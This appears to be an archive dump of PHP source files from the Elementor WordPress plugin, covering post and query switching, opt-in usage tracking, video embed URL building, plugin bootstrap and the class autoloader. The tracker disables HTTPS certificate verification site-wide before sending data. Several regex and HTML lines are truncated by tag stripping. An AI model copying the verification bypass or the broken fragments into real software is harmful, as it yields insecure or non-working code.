$value ); } // Don't use `update_post_meta` that can't handle `revision` post type update_metadata( 'post', $to_post_id, $meta_key, $value ); } } } /** * Is built with Elementor. * * Check whether the post was built with Elementor. * * @since 1.0.10 * @deprecated 3.2.0 Use `Plugin::$instance->documents->get( $post_id )->is_built_with_elementor()` instead. * @access public * * @param int $post_id Post ID. * * @return bool Whether the post was built with Elementor. */ public function is_built_with_elementor( $post_id ) { Plugin::$instance->modules_manager ->get_modules( 'dev-tools' ) ->deprecation ->deprecated_function( __METHOD__, '3.2.0', 'Plugin::$instance->documents->get( $post_id )->is_built_with_elementor()' ); $document = Plugin::$instance->documents->get( $post_id ); if ( ! $document ) { return false; } return $document->is_built_with_elementor(); } /** * Switch to post. * * Change the global WordPress post to the requested post. * * @since 1.5.0 * @access public * * @param int $post_id Post ID to switch to. */ public function switch_to_post( $post_id ) { $post_id = absint( $post_id ); // If is already switched, or is the same post, return. if ( get_the_ID() === $post_id ) { $this->switched_post_data[] = false; return; } $this->switched_post_data[] = [ 'switched_id' => $post_id, 'original_id' => get_the_ID(), // Note, it can be false if the global isn't set ]; $GLOBALS['post'] = get_post( $post_id ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited setup_postdata( $GLOBALS['post'] ); } /** * Restore current post. * * Rollback to the previous global post, rolling back from `DB::switch_to_post()`. * * @since 1.5.0 * @access public */ public function restore_current_post() { $data = array_pop( $this->switched_post_data ); // If not switched, return. if ( ! $data ) { return; } // It was switched from an empty global post, restore this state and unset the global post if ( false === $data['original_id'] ) { unset( $GLOBALS['post'] ); return; } $GLOBALS['post'] = get_post( $data['original_id'] ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited setup_postdata( $GLOBALS['post'] ); } /** * Switch to query. * * Change the WordPress query to a new query with the requested * query variables. * * @since 2.0.0 * @access public * * @param array $query_vars New query variables. * @param bool $force_global_post */ public function switch_to_query( $query_vars, $force_global_post = false ) { global $wp_query; $current_query_vars = $wp_query->query; // If is already switched, or is the same query, return. if ( $current_query_vars === $query_vars ) { $this->switched_data[] = false; return; } $new_query = new \WP_Query( $query_vars ); $switched_data = [ 'switched' => $new_query, 'original' => $wp_query, ]; if ( ! empty( $GLOBALS['post'] ) ) { $switched_data['post'] = $GLOBALS['post']; } $this->switched_data[] = $switched_data; $wp_query = $new_query; // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited // Ensure the global post is set only if needed unset( $GLOBALS['post'] ); if ( isset( $new_query->posts[0] ) ) { if ( $force_global_post || $new_query->is_singular() ) { $GLOBALS['post'] = $new_query->posts[0]; // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited setup_postdata( $GLOBALS['post'] ); } } if ( $new_query->is_author() ) { $GLOBALS['authordata'] = get_userdata( $new_query->get( 'author' ) ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited } } /** * Restore current query. * * Rollback to the previous query, rolling back from `DB::switch_to_query()`. * * @since 2.0.0 * @access public */ public function restore_current_query() { $data = array_pop( $this->switched_data ); // If not switched, return. if ( ! $data ) { return; } global $wp_query; $wp_query = $data['original']; // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited // Ensure the global post/authordata is set only if needed. unset( $GLOBALS['post'] ); unset( $GLOBALS['authordata'] ); if ( ! empty( $data['post'] ) ) { $GLOBALS['post'] = $data['post']; // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited setup_postdata( $GLOBALS['post'] ); } if ( $wp_query->is_author() ) { $GLOBALS['authordata'] = get_userdata( $wp_query->get( 'author' ) ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited } } /** * Get plain text. * * Retrieve the post plain text. * * @since 1.9.0 * @access public * * @param int $post_id Post ID. * * @return string Post plain text. */ public function get_plain_text( $post_id ) { $document = Plugin::$instance->documents->get( $post_id ); $data = $document ? $document->get_elements_data() : []; return $this->get_plain_text_from_data( $data ); } /** * Get plain text from data. * * Retrieve the post plain text from any given Elementor data. * * @since 1.9.2 * @access public * * @param array $data Post ID. * * @return string Post plain text. */ public function get_plain_text_from_data( $data ) { ob_start(); if ( $data ) { foreach ( $data as $element_data ) { $this->render_element_plain_content( $element_data ); } } $plain_text = ob_get_clean(); // Remove unnecessary tags. $plain_text = preg_replace( '/<\/?div[^>]*\>/i', '', $plain_text ); $plain_text = preg_replace( '/<\/?span[^>]*\>/i', '', $plain_text ); $plain_text = preg_replace( '#(.*?)#is', '', $plain_text ); $plain_text = preg_replace( '/]*><\\/i[^>]*>/', '', $plain_text ); $plain_text = preg_replace( '/ class=".*?"/', '', $plain_text ); // Remove empty lines. $plain_text = preg_replace( '/(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+/', "\n", $plain_text ); $plain_text = trim( $plain_text ); return $plain_text; } } includes/admin-templates/new-floating-elements.php000064400000005552147206604650016374 0ustar00 includes/admin-templates/beta-tester.php000064400000004506147206604650014405 0ustar00common->get_component( 'ajax' ); $beta_tester_email = $user->user_email; /** * Print beta tester dialog. * * Display a dialog box to suggest the user to opt-in to the beta testers newsletter. * * Fired by `admin_footer` filter. * * @since 2.6.0 * @access public */ ?> includes/admin-templates/new-template.php000064400000011704147206604650014566 0ustar00 'form' ] ); $document_types = Plugin::$instance->documents->get_document_types(); $types = []; $lock_configs = []; $selected = get_query_var( 'elementor_library_type' ); foreach ( $document_types as $document_type ) { if ( $document_type::get_property( 'show_in_library' ) ) { /** * @var Document $instance */ $instance = new $document_type(); $lock_behavior = $document_type::get_lock_behavior_v2(); $types[ $instance->get_name() ] = $document_type::get_title(); $lock_configs[ $instance->get_name() ] = empty( $lock_behavior ) ? (object) [] : $lock_behavior->get_config(); } } /** * Create new template library dialog types. * * Filters the dialog types when printing new template dialog. * * @since 2.0.0 * * @param array $types Types data. * @param Document $document_types Document types. */ $types = apply_filters( 'elementor/template-library/create_new_dialog_types', $types, $document_types ); ksort( $types ); ?> includes/tracker.php000064400000037121147206604650010534 0ustar00custom_tasks->add_tasks_requested_to_run( [ 'opt_in_recalculate_usage', 'opt_in_send_tracking_data', ] ); } if ( empty( $new_value ) ) { $new_value = 'no'; } return $new_value; } /** * Send tracking data. * * Decide whether to send tracking data, or not. * * @since 1.0.0 * @access public * @static * * @param bool $override */ public static function send_tracking_data( $override = false ) { // Don't trigger this on AJAX Requests. if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) { return; } if ( ! self::is_allow_track() ) { return; } $last_send = self::get_last_send_time(); /** * Tracker override send. * * Filters whether to override sending tracking data or not. * * @since 1.0.0 * * @param bool $override Whether to override default setting or not. */ $override = apply_filters( 'elementor/tracker/send_override', $override ); if ( ! $override ) { $last_send_interval = strtotime( '-1 week' ); /** * Tracker last send interval. * * Filters the interval of between two tracking requests. * * @since 1.0.0 * * @param int $last_send_interval A date/time string. Default is `strtotime( '-1 week' )`. */ $last_send_interval = apply_filters( 'elementor/tracker/last_send_interval', $last_send_interval ); // Send a maximum of once per week by default. if ( $last_send && $last_send > $last_send_interval ) { return; } } else { // Make sure there is at least a 1 hour delay between override sends, we dont want duplicate calls due to double clicking links. if ( $last_send && $last_send > strtotime( '-1 hours' ) ) { return; } } // Update time first before sending to ensure it is set. update_option( 'elementor_tracker_last_send', time() ); $params = self::get_tracking_data( empty( $last_send ) ); // Tracking data is used for System Info reports, and events should not be included in System Info reports, // so it is added here $params['analytics_events'] = self::get_events(); add_filter( 'https_ssl_verify', '__return_false' ); wp_safe_remote_post( self::$_api_url, [ 'timeout' => 25, 'blocking' => false, // 'sslverify' => false, 'body' => [ 'data' => wp_json_encode( $params ), ], ] ); // After sending the event tracking data, we reset the events table. Events_DB_Manager::reset_table(); } /** * Is allow track. * * Checks whether the site admin has opted-in for data tracking, or not. * * @since 1.0.0 * @access public * @static */ public static function is_allow_track() { return 'yes' === get_option( 'elementor_allow_tracking', 'no' ); } /** * Handle tracker actions. * * Check if the user opted-in or opted-out and update the database. * * Fired by `admin_init` action. * * @since 1.0.0 * @access public * @static */ public static function handle_tracker_actions() { if ( ! isset( $_GET['elementor_tracker'] ) ) { return; } if ( 'opt_into' === $_GET['elementor_tracker'] ) { check_admin_referer( 'opt_into' ); self::set_opt_in( true ); } if ( 'opt_out' === $_GET['elementor_tracker'] ) { check_admin_referer( 'opt_out' ); self::set_opt_in( false ); } wp_redirect( remove_query_arg( 'elementor_tracker' ) ); exit; } /** * @since 2.2.0 * @access public * @static */ public static function is_notice_shown() { return self::$notice_shown; } public static function set_opt_in( $value ) { if ( $value ) { update_option( 'elementor_allow_tracking', 'yes' ); self::send_tracking_data( true ); } else { update_option( 'elementor_allow_tracking', 'no' ); update_option( 'elementor_tracker_notice', '1' ); } } /** * Get system reports data. * * Retrieve the data from system reports. * * @since 2.0.0 * @access private * @static * * @return array The data from system reports. */ private static function get_system_reports_data() { $reports = Plugin::$instance->system_info->load_reports( System_Info_Module::get_allowed_reports() ); // The log report should not be sent with the usage data - it is not used and causes bloat. if ( isset( $reports['log'] ) ) { unset( $reports['log'] ); } $system_reports = []; foreach ( $reports as $report_key => $report_details ) { $system_reports[ $report_key ] = []; foreach ( $report_details['report']->get_report() as $sub_report_key => $sub_report_details ) { $system_reports[ $report_key ][ $sub_report_key ] = $sub_report_details['value']; } } return $system_reports; } /** * Get last send time. * * Retrieve the last time tracking data was sent. * * @since 2.0.0 * @access private * @static * * @return int|false The last time tracking data was sent, or false if * tracking data never sent. */ private static function get_last_send_time() { $last_send_time = get_option( 'elementor_tracker_last_send', false ); /** * Tracker last send time. * * Filters the last time tracking data was sent. * * @since 1.0.0 * * @param int|false $last_send_time The last time tracking data was sent, * or false if tracking data never sent. */ $last_send_time = apply_filters( 'elementor/tracker/last_send_time', $last_send_time ); return $last_send_time; } /** * Get non elementor post usages. * * Retrieve the number of posts that not using elementor. * @return array The number of posts using not used by Elementor grouped by post types * and post status. */ public static function get_non_elementor_posts_usage() { global $wpdb; $usage = []; $results = $wpdb->get_results( "SELECT `post_type`, `post_status`, COUNT(`ID`) `hits` FROM {$wpdb->posts} `p` LEFT JOIN {$wpdb->postmeta} `pm` ON(`p`.`ID` = `pm`.`post_id` AND `meta_key` = '_elementor_edit_mode' ) WHERE `post_type` != 'elementor_library' AND `meta_value` IS NULL GROUP BY `post_type`, `post_status`;" ); if ( $results ) { foreach ( $results as $result ) { $usage[ $result->post_type ][ $result->post_status ] = $result->hits; } } return $usage; } /** * Get posts usage. * * Retrieve the number of posts using Elementor. * * @since 2.0.0 * @access public * @static * * @return array The number of posts using Elementor grouped by post types * and post status. */ public static function get_posts_usage() { global $wpdb; $usage = []; $results = $wpdb->get_results( "SELECT `post_type`, `post_status`, COUNT(`ID`) `hits` FROM {$wpdb->posts} `p` LEFT JOIN {$wpdb->postmeta} `pm` ON(`p`.`ID` = `pm`.`post_id`) WHERE `post_type` != 'elementor_library' AND `meta_key` = '_elementor_edit_mode' AND `meta_value` = 'builder' GROUP BY `post_type`, `post_status`;" ); if ( $results ) { foreach ( $results as $result ) { $usage[ $result->post_type ][ $result->post_status ] = (int) $result->hits; } } return $usage; } /** * Get library usage. * * Retrieve the number of Elementor library items saved. * * @since 2.0.0 * @access public * @static * * @return array The number of Elementor library items grouped by post types * and meta value. */ public static function get_library_usage() { global $wpdb; $usage = []; $results = $wpdb->get_results( "SELECT `meta_value`, COUNT(`ID`) `hits` FROM {$wpdb->posts} `p` LEFT JOIN {$wpdb->postmeta} `pm` ON(`p`.`ID` = `pm`.`post_id`) WHERE `post_type` = 'elementor_library' AND `meta_key` = '_elementor_template_type' GROUP BY `post_type`, `meta_value`;" ); if ( $results ) { foreach ( $results as $result ) { $usage[ $result->meta_value ] = $result->hits; } } return $usage; } /** * Get usage of general settings. * 'Elementor->Settings->General'. * * @return array */ public static function get_settings_general_usage() { return self::get_tracking_data_from_settings( 'general' ); } /** * Get usage of advanced settings. * 'Elementor->Settings->Advanced'. * * @return array */ public static function get_settings_advanced_usage() { return self::get_tracking_data_from_settings( 'advanced' ); } /** * Get usage of performance settings. * 'Elementor->Settings->Performance'. * * @return array */ public static function get_settings_performance_usage() { return self::get_tracking_data_from_settings( 'performance' ); } /** * Get usage of experiments settings. * * 'Elementor->Settings->Experiments'. * * @return array */ public static function get_settings_experiments_usage() { $system_info = Plugin::$instance->system_info; /** * @var $experiments_report Experiments_Reporter */ $experiments_report = $system_info->create_reporter( [ 'class_name' => Experiments_Reporter::class, ] ); return $experiments_report->get_experiments()['value']; } /** * Get usage of general tools. * 'Elementor->Tools->General'. * * @return array */ public static function get_tools_general_usage() { return self::get_tracking_data_from_tools( 'general' ); } /** * Get usage of 'version control' tools. * 'Elementor->Tools->Version Control'. * * @return array */ public static function get_tools_version_control_usage() { return self::get_tracking_data_from_tools( 'versions' ); } /** * Get usage of 'maintenance' tools. * 'Elementor->Tools->Maintenance'. * * @return array */ public static function get_tools_maintenance_usage() { return self::get_tracking_data_from_tools( 'maintenance_mode' ); } /** * Get library usage extend. * * Retrieve the number of Elementor library items saved. * * @return array The number of Elementor library items grouped by post types, post status * and meta value. */ public static function get_library_usage_extend() { global $wpdb; $usage = []; $results = $wpdb->get_results( "SELECT `meta_value`, COUNT(`ID`) `hits`, `post_status` FROM {$wpdb->posts} `p` LEFT JOIN {$wpdb->postmeta} `pm` ON(`p`.`ID` = `pm`.`post_id`) WHERE `post_type` = 'elementor_library' AND `meta_key` = '_elementor_template_type' GROUP BY `post_type`, `meta_value`, `post_status`;" ); if ( $results ) { foreach ( $results as $result ) { if ( empty( $usage[ $result->meta_value ] ) ) { $usage[ $result->meta_value ] = []; } if ( empty( $usage[ $result->meta_value ][ $result->post_status ] ) ) { $usage[ $result->meta_value ][ $result->post_status ] = 0; } $usage[ $result->meta_value ][ $result->post_status ] += $result->hits; } } return $usage; } public static function get_events() { global $wpdb; $table_name = $wpdb->prefix . Events_DB_Manager::TABLE_NAME; // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared $results = $wpdb->get_results( "SELECT event_data FROM {$table_name}" ); $events_data = []; foreach ( $results as $event ) { // Results are stored in the database as a JSON string. Since all tracking data is encoded right before // being sent, it is now decoded. $events_data[] = json_decode( $event->event_data, true ); } return $events_data; } /** * Get the tracking data * * Retrieve tracking data and apply filter * * @access public * @static * * @param bool $is_first_time * * @return array */ public static function get_tracking_data( $is_first_time = false ) { $params = [ 'system' => self::get_system_reports_data(), 'site_lang' => get_bloginfo( 'language' ), 'email' => get_option( 'admin_email' ), 'usages' => [ 'posts' => self::get_posts_usage(), 'non-elementor-posts' => self::get_non_elementor_posts_usage(), 'library' => self::get_library_usage(), 'settings' => [ 'general' => self::get_settings_general_usage(), 'advanced' => self::get_settings_advanced_usage(), 'experiments' => self::get_settings_experiments_usage(), ], 'tools' => [ 'general' => self::get_tools_general_usage(), 'version' => self::get_tools_version_control_usage(), 'maintenance' => self::get_tools_maintenance_usage(), ], 'library-details' => self::get_library_usage_extend(), ], 'is_first_time' => $is_first_time, 'install_time' => Plugin::instance()->get_install_time(), ]; /** * Tracker send tracking data params. * * Filters the data parameters when sending tracking request. * * @param array $params Variable to encode as JSON. * * @since 1.0.0 * */ $params = apply_filters( 'elementor/tracker/send_tracking_data_params', $params ); return $params; } /** * @param string $tab_name * @return array */ private static function get_tracking_data_from_settings( $tab_name ) { return self::get_tracking_data_from_settings_page( Plugin::$instance->settings->get_tabs(), $tab_name ); } /** * @param string $tab_name * @return array */ private static function get_tracking_data_from_tools( $tab_name ) { return self::get_tracking_data_from_settings_page( Plugin::$instance->tools->get_tabs(), $tab_name ); } private static function get_tracking_data_from_settings_page( $tabs, $tab_name ) { $result = []; if ( empty( $tabs[ $tab_name ] ) ) { return $result; } $tab = $tabs[ $tab_name ]; foreach ( $tab['sections'] as $section_name => $section ) { foreach ( $section['fields'] as $field_name => $field ) { // Skips fields with '_' prefix. if ( '_' === $field_name[0] ) { continue; } $default_value = null; $args = $field['field_args']; switch ( $args['type'] ) { case 'checkbox': $default_value = $args['value']; break; case 'select': case 'checkbox_list_cpt': $default_value = $args['std']; break; case 'checkbox_list_roles': $default_value = null; break; // 'raw_html' is used as action and not as data. case 'raw_html': continue 2; // Skip fields loop. default: trigger_error( 'Invalid type: \'' . $args['type'] . '\'' ); // phpcs:ignore } $result[ $field_name ] = get_option( 'elementor_' . $field_name, $default_value ); } } return $result; } } includes/embed.php000064400000020677147206604650010165 0ustar00 '/^.*(?:youtu\.be\/|youtube(?:-nocookie)?\.com\/(?:(?:watch)?\?(?:.*&)?vi?=|(?:embed|v|vi|user)\/))([^\?&\"\'>]+)/', 'vimeo' => '/^.*vimeo\.com\/(?:[a-z]*\/)*([‌​0-9]{6,11})[?]?.*/', 'dailymotion' => '/^.*dailymotion.com\/(?:video|hub)\/([^_]+)[^#]*(#video=([^_&]+))?/', 'videopress' => [ '/^(?:http(?:s)?:\/\/)?videos\.files\.wordpress\.com\/([a-zA-Z\d]{8,})\//i', '/^(?:http(?:s)?:\/\/)?(?:www\.)?video(?:\.word)?press\.com\/(?:v|embed)\/([a-zA-Z\d]{8,})(.+)?/i', ], ]; /** * Embed patterns. * * Holds a list of supported providers with their embed patters. * * @since 1.5.0 * @access private * @static * * @var array Embed patters. */ private static $embed_patterns = [ 'youtube' => 'https://www.youtube{NO_COOKIE}.com/embed/{VIDEO_ID}?feature=oembed', 'vimeo' => 'https://player.vimeo.com/video/{VIDEO_ID}#t={TIME}', 'dailymotion' => 'https://dailymotion.com/embed/video/{VIDEO_ID}', 'videopress' => 'https://videopress.com/embed/{VIDEO_ID}', ]; /** * Get video properties. * * Retrieve the video properties for a given video URL. * * @since 1.5.0 * @access public * @static * * @param string $video_url Video URL. * * @return null|array The video properties, or null. */ public static function get_video_properties( $video_url ) { foreach ( self::$provider_match_masks as $provider => $match_mask ) { if ( ! is_array( $match_mask ) ) { $match_mask = [ $match_mask ]; } foreach ( $match_mask as $mask ) { if ( preg_match( $mask, $video_url, $matches ) ) { return [ 'provider' => $provider, 'video_id' => $matches[1], ]; } } } return null; } /** * Get embed URL. * * Retrieve the embed URL for a given video. * * @since 1.5.0 * @access public * @static * * @param string $video_url Video URL. * @param array $embed_url_params Optional. Embed parameters. Default is an * empty array. * @param array $options Optional. Embed options. Default is an * empty array. * * @return null|array The video properties, or null. */ public static function get_embed_url( $video_url, array $embed_url_params = [], array $options = [] ) { $video_properties = self::get_video_properties( $video_url ); if ( ! $video_properties ) { return null; } $embed_pattern = self::$embed_patterns[ $video_properties['provider'] ]; $replacements = [ '{VIDEO_ID}' => $video_properties['video_id'], ]; if ( 'youtube' === $video_properties['provider'] ) { $replacements['{NO_COOKIE}'] = ! empty( $options['privacy'] ) ? '-nocookie' : ''; } elseif ( 'vimeo' === $video_properties['provider'] ) { $time_text = ''; if ( ! empty( $options['start'] ) ) { $time_text = date( 'H\hi\ms\s', $options['start'] ); // PHPCS:Ignore WordPress.DateTime.RestrictedFunctions.date_date } $replacements['{TIME}'] = $time_text; /** * Handle Vimeo private videos * * Vimeo requires an additional parameter when displaying private/unlisted videos. It has two ways of * passing that parameter: * * as an endpoint - vimeo.com/{video_id}/{privacy_token} * OR * * as a GET parameter named `h` - vimeo.com/{video_id}?h={privacy_token} * * The following regex match looks for either of these methods in the Vimeo URL, and if it finds a privacy * token, it adds it to the embed params array as the `h` parameter (which is how Vimeo can receive it when * using Oembed). */ $h_param = []; preg_match( '/(?|(?:[\?|\&]h={1})([\w]+)|\d\/([\w]+))/', $video_url, $h_param ); if ( ! empty( $h_param ) ) { $embed_url_params['h'] = $h_param[1]; } } $embed_pattern = str_replace( array_keys( $replacements ), $replacements, $embed_pattern ); return add_query_arg( $embed_url_params, $embed_pattern ); } /** * Get embed HTML. * * Retrieve the final HTML of the embedded URL. * * @since 1.5.0 * @access public * @static * * @param string $video_url Video URL. * @param array $embed_url_params Optional. Embed parameters. Default is an * empty array. * @param array $options Optional. Embed options. Default is an * empty array. * @param array $frame_attributes Optional. IFrame attributes. Default is an * empty array. * * @return string The embed HTML. */ public static function get_embed_html( $video_url, array $embed_url_params = [], array $options = [], array $frame_attributes = [] ) { $video_properties = self::get_video_properties( $video_url ); $default_frame_attributes = [ 'class' => 'elementor-video-iframe', 'allowfullscreen', 'allow' => 'clipboard-write', 'title' => sprintf( /* translators: %s: Video provider */ __( '%s Video Player', 'elementor' ), $video_properties['provider'] ), ]; $video_embed_url = self::get_embed_url( $video_url, $embed_url_params, $options ); if ( ! $video_embed_url ) { return null; } if ( ! isset( $options['lazy_load'] ) || ! $options['lazy_load'] ) { $default_frame_attributes['src'] = $video_embed_url; } else { $default_frame_attributes['data-lazy-load'] = $video_embed_url; } if ( isset( $embed_url_params['autoplay'] ) ) { $default_frame_attributes['allow'] = 'autoplay'; } $frame_attributes = array_merge( $default_frame_attributes, $frame_attributes ); $attributes_for_print = []; foreach ( $frame_attributes as $attribute_key => $attribute_value ) { $attribute_value = esc_attr( $attribute_value ); if ( is_numeric( $attribute_key ) ) { $attributes_for_print[] = $attribute_value; } else { $attributes_for_print[] = sprintf( '%1$s="%2$s"', $attribute_key, $attribute_value ); } } $attributes_for_print = implode( ' ', $attributes_for_print ); $iframe_html = ""; /** This filter is documented in wp-includes/class-oembed.php */ return apply_filters( 'oembed_result', $iframe_html, $video_url, $frame_attributes ); } /** * Get oembed data from the cache. * if not exists in the cache it will fetch from provider and then save to the cache. * * @param $oembed_url * @param $cached_post_id * * @return array|null */ public static function get_oembed_data( $oembed_url, $cached_post_id ) { $cached_oembed_data = json_decode( get_post_meta( $cached_post_id, '_elementor_oembed_cache', true ), true ); if ( isset( $cached_oembed_data[ $oembed_url ] ) ) { return $cached_oembed_data[ $oembed_url ]; } $normalize_oembed_data = self::fetch_oembed_data( $oembed_url ); if ( ! $cached_oembed_data ) { $cached_oembed_data = []; } update_post_meta( $cached_post_id, '_elementor_oembed_cache', wp_json_encode( array_merge( $cached_oembed_data, [ $oembed_url => $normalize_oembed_data, ] ) ) ); return $normalize_oembed_data; } /** * Fetch oembed data from oembed provider. * * @param $oembed_url * * @return array|null */ public static function fetch_oembed_data( $oembed_url ) { $oembed_data = _wp_oembed_get_object()->get_data( $oembed_url ); if ( ! $oembed_data ) { return null; } return [ 'thumbnail_url' => $oembed_data->thumbnail_url, 'title' => $oembed_data->title, ]; } /** * @param $oembed_url * @param null|string|int $cached_post_id * * @return string|null */ public static function get_embed_thumbnail_html( $oembed_url, $cached_post_id = null ) { $oembed_data = self::get_oembed_data( $oembed_url, $cached_post_id ); if ( ! $oembed_data ) { return null; } return '
' . sprintf( '%2$s', $oembed_data['thumbnail_url'], esc_attr( $oembed_data['title'] ), '100%' ) . '
'; } } includes/plugin.php000064400000037715147206604650010410 0ustar00add_cpt_support(); $this->init_components(); /** * Elementor init. * * Fires when Elementor components are initialized. * * After Elementor finished loading but before any headers are sent. * * @since 1.0.0 */ do_action( 'elementor/init' ); } /** * Get install time. * * Retrieve the time when Elementor was installed. * * @since 2.6.0 * @access public * @static * * @return int Unix timestamp when Elementor was installed. */ public function get_install_time() { $installed_time = get_option( '_elementor_installed_time' ); if ( ! $installed_time ) { $installed_time = time(); update_option( '_elementor_installed_time', $installed_time ); } return $installed_time; } /** * @since 2.3.0 * @access public */ public function on_rest_api_init() { // On admin/frontend sometimes the rest API is initialized after the common is initialized. if ( ! $this->common ) { $this->init_common(); } } /** * Init components. * * Initialize Elementor components. Register actions, run setting manager, * initialize all the components that run elementor, and if in admin page * initialize admin components. * * @since 1.0.0 * @access private */ private function init_components() { $this->experiments = new Experiments_Manager(); $this->breakpoints = new Breakpoints_Manager(); $this->inspector = new Inspector(); Settings_Manager::run(); $this->db = new DB(); $this->controls_manager = new Controls_Manager(); $this->documents = new Documents_Manager(); $this->kits_manager = new Kits_Manager(); $this->schemes_manager = new Schemes_Manager(); $this->elements_manager = new Elements_Manager(); $this->widgets_manager = new Widgets_Manager(); $this->skins_manager = new Skins_Manager(); $this->files_manager = new Files_Manager(); $this->assets_manager = new Assets_Manager(); $this->icons_manager = new Icons_Manager(); $this->settings = new Settings(); $this->tools = new Tools(); $this->editor = new Editor(); $this->preview = new Preview(); $this->frontend = new Frontend(); $this->maintenance_mode = new Maintenance_Mode(); $this->dynamic_tags = new Dynamic_Tags_Manager(); $this->modules_manager = new Modules_Manager(); $this->templates_manager = new TemplateLibrary\Manager(); $this->role_manager = new Core\RoleManager\Role_Manager(); $this->system_info = new System_Info_Module(); $this->revisions_manager = new Revisions_Manager(); $this->images_manager = new Images_Manager(); $this->wp = new Wp_Api(); $this->assets_loader = new Assets_Loader(); $this->uploads_manager = new Uploads_Manager(); $this->admin_menu_manager = new Admin_Menu_Manager(); $this->admin_menu_manager->register_actions(); User::init(); Api::init(); Tracker::init(); $this->upgrade = new Core\Upgrade\Manager(); $this->custom_tasks = new Core\Upgrade\Custom_Tasks_Manager(); $this->app = new App\App(); if ( is_admin() ) { $this->heartbeat = new Heartbeat(); $this->wordpress_widgets_manager = new WordPress_Widgets_Manager(); $this->admin = new Admin(); $this->beta_testers = new Beta_Testers(); } } /** * @since 2.3.0 * @access public */ public function init_common() { $this->common = new CommonApp(); $this->common->init_components(); } /** * Add custom post type support. * * Register Elementor support for all the supported post types defined by * the user in the admin screen and saved as `elementor_cpt_support` option * in WordPress `$wpdb->options` table. * * If no custom post type selected, usually in new installs, this method * will return the two default post types: `page` and `post`. * * @since 1.0.0 * @access private */ private function add_cpt_support() { $cpt_support = get_option( 'elementor_cpt_support', self::ELEMENTOR_DEFAULT_POST_TYPES ); foreach ( $cpt_support as $cpt_slug ) { add_post_type_support( $cpt_slug, 'elementor' ); } } /** * Register autoloader. * * Elementor autoloader loads all the classes needed to run the plugin. * * @since 1.6.0 * @access private */ private function register_autoloader() { require_once ELEMENTOR_PATH . '/includes/autoloader.php'; Autoloader::run(); } /** * Plugin Magic Getter * * @since 3.1.0 * @access public * * @param $property * @return mixed * @throws \Exception */ public function __get( $property ) { if ( 'posts_css_manager' === $property ) { self::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_argument( 'Plugin::$instance->posts_css_manager', '2.7.0', 'Plugin::$instance->files_manager' ); return $this->files_manager; } if ( 'data_manager' === $property ) { return Data_Manager::instance(); } if ( property_exists( $this, $property ) ) { throw new \Exception( 'Cannot access private property.' ); } return null; } /** * Plugin constructor. * * Initializing Elementor plugin. * * @since 1.0.0 * @access private */ private function __construct() { $this->register_autoloader(); $this->logger = Log_Manager::instance(); $this->data_manager_v2 = Data_Manager_V2::instance(); Maintenance::init(); Compatibility::register_actions(); add_action( 'init', [ $this, 'init' ], 0 ); add_action( 'rest_api_init', [ $this, 'on_rest_api_init' ], 9 ); } final public static function get_title() { return esc_html__( 'Elementor', 'elementor' ); } } if ( ! defined( 'ELEMENTOR_TESTS' ) ) { // In tests we run the instance manually. Plugin::instance(); } includes/autoloader.php000064400000022534147206604650011242 0ustar00 'includes/api.php', 'Base_Control' => 'includes/controls/base.php', 'Base_Data_Control' => 'includes/controls/base-data.php', 'Base_UI_Control' => 'includes/controls/base-ui.php', 'Beta_Testers' => 'includes/beta-testers.php', 'Compatibility' => 'includes/compatibility.php', 'Conditions' => 'includes/conditions.php', 'Controls_Manager' => 'includes/managers/controls.php', 'Controls_Stack' => 'includes/base/controls-stack.php', 'Sub_Controls_Stack' => 'includes/base/sub-controls-stack.php', 'DB' => 'includes/db.php', 'Elements_Manager' => 'includes/managers/elements.php', 'Embed' => 'includes/embed.php', 'Fonts' => 'includes/fonts.php', 'Frontend' => 'includes/frontend.php', 'Group_Control_Base' => 'includes/controls/groups/base.php', 'Group_Control_Interface' => 'includes/interfaces/group-control.php', 'Has_Validation' => 'includes/interfaces/has-validation.php', 'Heartbeat' => 'includes/heartbeat.php', 'Images_Manager' => 'includes/managers/image.php', 'Maintenance' => 'includes/maintenance.php', 'Maintenance_Mode' => 'includes/maintenance-mode.php', 'Preview' => 'includes/preview.php', 'Rollback' => 'includes/rollback.php', 'Settings' => 'includes/settings/settings.php', 'Settings_Controls' => 'includes/settings/controls.php', 'Settings_Validations' => 'includes/settings/validations.php', 'Settings_Page' => 'includes/settings/settings-page.php', 'Shapes' => 'includes/shapes.php', 'Skins_Manager' => 'includes/managers/skins.php', 'Icons_Manager' => 'includes/managers/icons.php', 'Stylesheet' => 'includes/stylesheet.php', 'System_Info\Main' => 'includes/settings/system-info/main.php', 'TemplateLibrary\Classes\Import_Images' => 'includes/template-library/classes/class-import-images.php', 'TemplateLibrary\Forms\New_Template_Form' => 'includes/template-library/forms/new-template-form.php', 'TemplateLibrary\Manager' => 'includes/template-library/manager.php', 'TemplateLibrary\Source_Base' => 'includes/template-library/sources/base.php', 'TemplateLibrary\Source_Local' => 'includes/template-library/sources/local.php', 'TemplateLibrary\Source_Remote' => 'includes/template-library/sources/remote.php', 'Tools' => 'includes/settings/tools.php', 'Tracker' => 'includes/tracker.php', 'User' => 'includes/user.php', 'Utils' => 'includes/utils.php', 'Widget_WordPress' => 'includes/widgets/wordpress.php', 'Widgets_Manager' => 'includes/managers/widgets.php', 'WordPress_Widgets_Manager' => 'includes/managers/wordpress-widgets.php', ]; $controls_names = Controls_Manager::get_controls_names(); $controls_names = array_merge( $controls_names, [ 'base_multiple', 'base_units', ] ); foreach ( $controls_names as $control_name ) { $class_name = 'Control_' . self::normalize_class_name( $control_name, '_' ); self::$classes_map[ $class_name ] = 'includes/controls/' . str_replace( '_', '-', $control_name ) . '.php'; } $controls_groups_names = Controls_Manager::get_groups_names(); foreach ( $controls_groups_names as $group_name ) { $class_name = 'Group_Control_' . self::normalize_class_name( $group_name, '_' ); self::$classes_map[ $class_name ] = 'includes/controls/groups/' . $group_name . '.php'; } } /** * Normalize Class Name * * Used to convert control names to class names. * * @param $string * 